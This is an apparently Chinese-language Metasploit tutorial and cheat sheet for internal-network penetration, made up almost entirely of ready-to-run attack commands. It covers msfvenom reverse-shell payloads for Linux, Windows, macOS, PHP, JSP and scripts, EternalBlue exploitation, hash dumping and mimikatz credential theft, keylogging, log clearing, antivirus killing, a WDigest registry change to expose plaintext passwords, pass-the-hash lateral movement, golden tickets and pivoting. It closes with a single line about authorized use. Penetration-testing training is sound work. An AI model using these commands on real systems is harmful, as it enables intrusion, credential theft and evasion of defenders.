内网MSF--从入门到熟练
字数 585 2025-08-18 11:36:57
Metasploit Framework (MSF) 从入门到精通指南
一、MSF基础介绍
Metasploit Framework (简称MSF) 是全球最受欢迎的渗透测试框架,其强大之处在于:
- 漏洞利用框架,允许开发自己的漏洞脚本
- 包含大量现成的渗透攻击模块
- 提供后渗透测试工具集
- 支持多平台攻击载荷生成
二、MSF基础配置与命令
1. 启动与数据库配置
# 启动MSF控制台
msfconsole
# 数据库配置
service postgresql start # 启动数据库
msfdb init # 初始化数据库
msfconsole db_status # 查看连接状态
msfconsole db_rebuild_cache # 建立数据库缓存
# 若连接问题
msfdb start # 启动数据库服务
netstat -pantu | grep 5432 # 查看端口
2. 常用基础命令
show exploits # 查看所有渗透攻击模块
show auxiliary # 查看所有辅助模块
show options # 查看模块选项
show payloads # 查看适用载荷
show targets # 查看适用目标类型
search <关键词> # 搜索模块
info <模块名> # 显示模块详细信息
use <模块名> # 使用模块
back # 返回上级
# 参数设置
set <参数> <值> # 设置模块参数
setg <参数> <值> # 设置全局参数
unset/unsetg # 取消设置
save # 保存当前设置
3. 核心命令
sessions # 管理会话
color # 切换颜色
connect # 连接主机
exit/quit # 退出控制台
sleep # 暂停执行
get/getg # 获取变量值
spool # 记录控制台输出
threads # 管理后台线程
history # 查看命令历史
load # 加载插件
unload # 卸载插件
version # 显示版本
route # 路由流量
三、MSFVenom载荷生成
1. 主要参数
-p <payload> # 指定payload
-e <编码器> # 指定编码器(用于免杀)
-i <次数> # 编码迭代次数
-b <坏字符> # 去掉坏字符
LHOST/LPORT # 监听IP和端口
-f <格式> # 输出格式(exe,elf等)
-o <文件名> # 输出文件
-l # 列出可用payload
2. 生成各类后门示例
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf
# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe > shell.exe
# Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho
# Web相关
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f asp > shell.asp
# 脚本类
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl
3. 设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST <IP>
set LPORT <Port>
set ExitOnSession false # 保持连接
exploit # 开始监听
4. 会话管理
jobs # 查看后台任务
kill <id> # 停止任务
sessions -l # 查看会话
sessions <id> # 选择会话
sessions -k <id> # 结束会话
background # 会话放到后台
Ctrl+z # 后台当前会话
Ctrl+c # 结束当前会话
四、Meterpreter后渗透
1. 常用命令
help # 帮助菜单
background # 后台当前会话
exit # 退出会话
irb # 进入Ruby脚本模式
migrate <PID> # 迁移到其他进程
sysinfo # 系统信息
getuid # 当前用户权限
getsystem # 提权到SYSTEM
2. 文件系统操作
cat <文件> # 查看文件
cd # 切换目录
del/rm # 删除文件
download <远程> <本地> # 下载文件
upload <本地> <远程> # 上传文件
edit # 编辑文件(Vim)
getlwd/lpwd # 本地工作目录
getwd/pwd # 远程工作目录
lcd # 切换本地目录
ls # 列出文件
mkdir # 创建目录
rmdir # 删除目录
search # 搜索文件
3. 网络操作
ipconfig # 网络配置信息
portfwd # 端口转发
route # 路由表操作
4. 系统操作
clearev # 清除日志
execute # 执行命令
getpid # 当前进程ID
kill <PID> # 终止进程
ps # 进程列表
reboot # 重启系统
reg # 注册表操作
shutdown # 关闭系统
shell # 获取系统shell
5. 用户界面操作
enumdesktops # 列出可用桌面
getdesktop # 获取当前桌面
screenshot # 屏幕截图
keyscan_start # 键盘记录开始
keyscan_stop # 键盘记录停止
keyscan_dump # 导出键盘记录
uictl # 用户界面控制
6. 密码相关
hashdump # 导出密码哈希
run post/windows/gather/smart_hashdump # 智能导出哈希
load kiwi # 加载mimikatz功能
creds_all # 获取所有凭据
五、内网渗透实战
1. 永恒之蓝(MS17-010)攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <目标IP>
exploit
2. 密码哈希抓取与利用
# 抓取哈希
hashdump
run post/windows/gather/smart_hashdump
# 使用psexec横向移动
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass <哈希>
set payload windows/meterpreter/reverse_tcp
set RHOSTS <目标IP>
exploit
3. 远程桌面控制
# 开启RDP
run post/windows/manage/enable_rdp
run getgui -e
# 添加用户
run getgui -u <用户名> -p <密码>
# 端口转发(若3389被拦截)
portfwd add -l <本地端口> -p 3389 -r <目标IP>
rdesktop 127.0.0.1:<本地端口>
4. 内网路由与代理
# 获取内网网段
run get_local_subnets
# 添加路由
run autoroute -s <内网网段>/24
route add <内网网段> <掩码> <会话ID>
run autoroute -p
# 设置socks代理
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT <端口>
run
# 配置proxychains
编辑/etc/proxychains.conf
添加 socks5 <IP> <端口>
六、自动化攻击
1. 安装db_autopwn
cd /usr/share/metasploit-framework/plugins
git clone https://github.com/hahwul/metasploit-db_autopwn.git
cd metasploit-db_autopwn/
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
load db_autopwn
2. 浏览器自动化攻击
use auxiliary/server/browser_autopwn
set LHOST <IP>
set SRVPORT <端口>
set URIPATH /
exploit
七、域渗透技术
1. 域信息收集
run post/windows/gather/enum_logged_on_users # 登录用户
run post/windows/gather/enum_ad_groups # 组信息
run post/windows/gather/enum_domain # 定位域控
run post/windows/gather/enum_ad_computers # 域内机器
run post/windows/gather/enum_patches # 补丁信息
run post/multi/recon/local_exploit_suggester # 漏洞识别
2. Kerberos用户名枚举
use auxiliary/gather/kerberos_enumusers
set DOMAIN <域名>
set RHOSTS <域控IP>
set USER_FILE <用户名字典>
exploit
八、实用模块
1. 扫描模块
auxiliary/scanner/discovery/arp_sweep # ARP扫描
auxiliary/scanner/portscan/tcp # TCP端口扫描
auxiliary/scanner/smb/smb_version # SMB服务识别
auxiliary/scanner/ssh/ssh_version # SSH服务识别
auxiliary/scanner/mssql/mssql_schemadump # MSSQL识别
auxiliary/scanner/rdp/rdp_scanner # RDP服务识别
2. 后渗透模块
post/windows/manage/migrate # 进程迁移
post/windows/gather/checkvm # 检测虚拟机
post/windows/manage/killav # 关闭杀毒软件
post/windows/gather/enum_applications # 应用程序枚举
post/windows/gather/credentials/windows_autologin # 自动登录凭证
post/windows/gather/enum_domain_tokens # 域token查找
九、高级技巧
1. Mimikatz集成(Kiwi模块)
load kiwi
kiwi_cmd <mimikatz命令> # 执行mimikatz命令
lsa_dump_sam # dump SAM
lsa_dump_secrets # dump LSA secrets
dcsync # 通过DCSync获取账户信息
golden_ticket_create # 创建黄金票据
2. 获取明文密码技巧
# 修改注册表允许明文缓存
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 需要用户重新登录后
load kiwi
creds_all
3. 跨路由访问
# 获取内网网段
run get_local_subnets
# 添加路由
run autoroute -s <内网网段>/24
route add <网段> <掩码> <会话ID>
# 设置socks代理
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT <端口>
run
# 使用proxychains访问内网
proxychains nmap -p- -sT <内网IP>
通过掌握以上MSF技术,您将能够进行从初始入侵到内网横向移动的完整渗透测试流程。请务必在合法授权范围内使用这些技术。